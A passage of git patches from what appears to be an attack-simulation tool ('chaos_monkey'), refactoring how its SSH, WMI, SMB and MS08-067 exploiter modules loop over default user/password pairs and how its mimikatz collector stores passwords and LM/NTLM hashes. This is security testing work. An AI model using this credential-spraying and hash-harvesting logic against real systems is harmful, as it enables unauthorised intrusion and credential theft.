user, password in user_password_pairs: diff --git a/chaos_monkey/exploit/sshexec.py b/chaos_monkey/exploit/sshexec.py index 42913e1f8..aa32549cb 100644 --- a/chaos_monkey/exploit/sshexec.py +++ b/chaos_monkey/exploit/sshexec.py @@ -42,14 +42,12 @@ class SSHExploiter(HostExploiter): is_open, _ = check_port_tcp(host.ip_addr, port) if not is_open: LOG.info("SSH port is closed on %r, skipping", host) - return False + return False - passwords = list(self._config.exploit_password_list[:]) - users = list(self._config.exploit_user_list) - user_pass = product(users,passwords) + user_password_pairs = self._config.exploit_user_password_pairs exploited = False - for user, curpass in user_pass: + for user, curpass in user_password_pairs: try: ssh.connect(host.ip_addr, username=user, diff --git a/chaos_monkey/exploit/win_ms08_067.py b/chaos_monkey/exploit/win_ms08_067.py index 48348d266..02f144851 100644 --- a/chaos_monkey/exploit/win_ms08_067.py +++ b/chaos_monkey/exploit/win_ms08_067.py @@ -233,7 +233,6 @@ class Ms08_067_Exploiter(HostExploiter): src_path, self._config.dropper_target_path) - # TODO: why are we doing this? Isn't that smbexec's job? if not remote_full_path: # try other passwords for administrator for password in self._config.exploit_password_list: diff --git a/chaos_monkey/exploit/wmiexec.py b/chaos_monkey/exploit/wmiexec.py index a0ea01d00..74b66eaa2 100644 --- a/chaos_monkey/exploit/wmiexec.py +++ b/chaos_monkey/exploit/wmiexec.py @@ -29,12 +29,7 @@ class WmiExploiter(HostExploiter): LOG.info("Can't find suitable monkey executable for host %r", host) return False - config_users = self._config.exploit_user_list - config_passwords = self._config.exploit_password_list - user_password_pairs = [] - for user in config_users: - for password in config_passwords: - user_password_pairs.append((user, password)) + user_password_pairs = self._config.exploit_user_password_pairs for user, password in user_password_pairs: LOG.debug("Attempting to connect %r using WMI with password '%s'", diff --git a/chaos_monkey/system_info/mimikatz_collector.py b/chaos_monkey/system_info/mimikatz_collector.py index a069a50ab..d7122d57a 100644 --- a/chaos_monkey/system_info/mimikatz_collector.py +++ b/chaos_monkey/system_info/mimikatz_collector.py @@ -69,10 +69,14 @@ class MimikatzCollector: """ Logon data structure returned from mimikatz. """ + + WINDOWS_MAX_USERNAME_PASS_LENGTH = 257 + LM_NTLM_HASH_LENGTH = 16 + _fields_ = \ [ - ("username", ctypes.c_wchar * 257), - ("password", ctypes.c_wchar * 257), - ("lm_hash", ctypes.c_byte * 16), - ("ntlm_hash", ctypes.c_byte * 16) + ("username", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH), + ("password", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH), + ("lm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH), + ("ntlm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH) ] From 56a843e35c0a52dd40ba1f55579244376033d12f Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 20 Aug 2017 19:43:12 +0300 Subject: [PATCH 09/10] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index e0452e2f9..32d530e74 100644 --- a/README.md +++ b/README.md @@ -188,4 +188,4 @@ Dependency | License | Notes winbind | GPL-3 pyinstaller | GPL Celery | BSD - mimikatz | CC BY 4.0 | We use an altered version of mimikatz: https://github.com/guardicore/mimikatz + mimikatz | CC BY 4.0 | We use an altered version of mimikatz made by gentilkiwi: https://github.com/guardicore/mimikatz From 97205e6427d5ad35f6c0628393f5260bafb296fe Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 21 Aug 2017 11:51:47 +0300 Subject: [PATCH 10/10] Fix config property bug --- chaos_monkey/config.py | 3 +-- chaos_monkey/exploit/smbexec.py | 2 +- chaos_monkey/exploit/sshexec.py | 2 +- chaos_monkey/exploit/wmiexec.py | 2 +- 4 files changed, 4 insertions(+), 5 deletions(-) diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index b2ca2e6ae..a9007edb3 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -209,8 +209,7 @@ class Configuration(object): # User and password dictionaries for exploits. - @property - def exploit_user_password_pairs(self): + def get_exploit_user_password_pairs(self): return product(self.exploit_user_list, self.exploit_password_list) exploit_user_list = ['Administrator', 'root', 'user'] diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py index 96fd8f956..307cbfa02 100644 --- a/chaos_monkey/exploit/smbexec.py +++ b/chaos_monkey/exploit/smbexec.py @@ -64,7 +64,7 @@ class SmbExploiter(HostExploiter): LOG.info("Can't find suitable monkey executable for host %r", host) return False - user_password_pairs = self._config.exploit_user_password_pairs + user_password_pairs = self._config.get_exploit_user_password_pairs() exploited = False for user, password in user_password_pairs: diff --git a/chaos_monkey/exploit/sshexec.py b/chaos_monkey/exploit/sshexec.py index aa32549cb..c9ecebaee 100644 --- a/chaos_monkey/exploit/sshexec.py +++ b/chaos_monkey/exploit/sshexec.py @@ -44,7 +44,7 @@ class SSHExploiter(HostExploiter): LOG.info("SSH port is closed on %r, skipping", host) return False - user_password_pairs = self._config.exploit_user_password_pairs + user_password_pairs = self._config.get_exploit_user_password_pairs() exploited = False for user, curpass in user_password_pairs: diff --git a/chaos_monkey/exploit/wmiexec.py b/chaos_monkey/exploit/wmiexec.py index 74b66eaa2..8b4231793 100644 --- a/chaos_monkey/exploit/wmiexec.py +++ b/chaos_monkey/exploit/wmiexec.py @@ -29,7 +29,7 @@ class WmiExploiter(HostExploiter): LOG.info("Can't find suitable monkey executable for host %r", host) return False - user_password_pairs = self._config.exploit_user_password_pairs + user_password_pairs = self._config.get_exploit_user_password_pairs() for user, password in user_password_pairs: LOG.debug("Attempting to connect %r using WMI with password '%s'",